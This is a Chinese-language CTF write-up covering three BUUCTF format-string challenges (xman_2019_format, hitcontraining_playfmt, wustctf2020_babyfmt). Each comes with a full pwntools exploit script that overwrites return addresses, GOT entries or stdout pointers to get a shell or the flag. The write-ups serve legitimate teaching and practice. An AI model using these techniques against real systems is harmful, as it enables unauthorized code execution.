xman_2019_format(字符串位于堆上)
一道格式化字符串题目,但是只有一次输入机会,但是有多次利用机会,每次利用使用‘|’隔开
我们先看一下栈的情况
经过多次调试,可以发现返回地址最低一个16进制位一定为0xC,我们只需要爆破倒数第二个16进制位就能得到指向返回地址的栈上地址
Exp:
from pwn import *
#r = remote("node3.buuoj.cn", 25958)
#r = process("./xman_2019_format")
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x080485F6
b *0x08048606
c
''')
context(arch = 'amd64', os= 'linux')
elf = ELF("./xman_2019_format")
libc = ELF("./libc/libc-2.23.so")
backdoor = 0x080485AB
def pwn():
r.recvuntil("...\n") #%10$hhn 18$
#payload = '%10$p:%18$p'
#0x5c = 92 0x85ab=34219
payload = '%92c%10$hhn|%34219c%18$hn'
r.sendline(payload)
sleep(2)
r.sendline('ls')
r.interactive()
if __name__ == "__main__":
#pwn()
while True:
r = remote("node3.buuoj.cn", 25958)
try:
pwn()
except:
r.close()
hitcontraining_playfmt(字符串位于bss)
一个循环的格式化字符串漏洞
利用过程和SWPUCTF_2019_login一样,具体原理看那篇文章即可
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 25517)
#r = process("./hitcontraining_playfmt")
elf = ELF("./hitcontraining_playfmt")
libc = ELF('./libc/libc-2.23_32.so')
printf_got = 0x0804A010
old_addr = 0x0804B080
# printf:0xf7d7b2d0 system:0xf7d67200
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x0804854F
c
''')
r.recvuntil("=====================\n")
r.recvuntil("=====================\n") #6 rbp 9 GOT 10 6->10
payload = "%6$p\n%15$p"
r.sendline(payload)
rbp = int(r.recvuntil('\n').strip(), 16)
success("rbp:"+hex(rbp))
start_main = int(r.recvuntil('\n').strip(), 16) - 247
libc.address = start_main - libc.sym['__libc_start_main']
system = libc.sym['system']
success("libc:"+hex(libc.address))
raw_input()
got_addr = rbp - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn'
r.sendline(payload)
raw_input()
num = printf_got & 0xFF
payload = '%' + str(num) + 'c%10$hhn'
r.sendline(payload)
raw_input()
got_addr = rbp - 8 - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn'
r.sendline(payload)
raw_input()
num = (printf_got+2) & 0xFFFF
payload = '%' + str(num) + 'c%10$hn'
r.sendline(payload)
raw_input()
num1 = system&0xFFFF
num2 = (system>>16)-num1
print hex(num1), ',', hex(num2)
payload ='%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%7$hn'
r.sendline(payload)
raw_input()
payload = "/bin/sh"
r.sendline(payload)
r.interactive()
wustctf2020_babyfmt
一道特别的格式化字符串漏洞题目
功能分别是leak,格式化字符串漏洞,输出flag
leak功能是输入一个地址,输出一个字节的数据,只有一次
但是这题有一个很坑爹的地方,就是这个一个字节的数据不会立即输出····
当然本题也可能不需要泄露
get_flag需要输入一串字符,和secret比较,相同才能输出flag,但是输出flag之前会先把stdout关了
程序还会询问一个时间,而这个函数正是泄露elf_base的关键函数
漏洞利用:
- 在询问时间时,发送字母过去,因为不符合%ld,因此栈不会被修改,输出时就能把栈上的信息泄露出来,而v2就是elf_base+0xbd5的地址
- 利用leak泄露出stderr的倒数第二byte的值,这样就不用爆破了(这是官方WP的做法,但是我这里调试不通,因为这一个byte不能立即输出,所以这步可以跳过)
- 利用格式化字符串漏洞把secret地址处写入0,这样strcmp就能成功,然后把bss上面的stdout处存放的地址改为stderr的,这样flag才能输出
原理如下图:
因为printf会需要stdout的指针,这个指针保存在bss上,而虽然stdout被关闭,stderr却可以用,我们把stdout处的指针改为stderr的,就能输出flag了
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 27225)
#r = process("./wustctf2020_babyfmt")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xFEA)
b *$rebase(0xECC)
x/10gx $rebase(0x202020)
c
''')
#pause()
elf = ELF("./wustctf2020_babyfmt")
libc = ELF('./libc/libc-2.23.so')
menu = ">>"
def leak(addr):
r.recvuntil(menu)
r.sendline('1')
#sleep(1)
raw_input()
r.send(addr)
def fmt(s):
r.recvuntil(menu)
r.sendline('2')
#sleep(1)
raw_input()
r.send(s)
def flag():
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("tell me the time:")
r.sendline('a')
r.sendline('a')
r.sendline('a')
r.recvuntil("ok! time is ")
num1 = int(r.recvuntil(':')[:-1])
elf_base = int(r.recvuntil(':')[:-1]) - 0xBD5
num3 = int(r.recvuntil('\n').strip())
success("num1:"+hex(num1))
success("elf:"+hex(elf_base))
success("num3:"+hex(num3))
#stdout:0x00007f9770e5d620 stderr:0x00007f9770e5d540
secret = 0x202060 + elf_base
stderr = 0x202040 + elf_base
stdout = 0x202020 + elf_base
leak(p64(stderr+1))
#leak_num = (ord(r.recv(1))<<8) + 0x40 #这个是官方WP的做法
leak_num = (ord('\xe5')<<8) + 0x40
#%8$
payload = '%11$hn%' + str(leak_num) + 'c%12$hn'
payload = payload.ljust(24, 'a') + p64(secret) + p64(stdout)
fmt(payload)
flag()
r.send('\x00'*0x40)
r.interactive()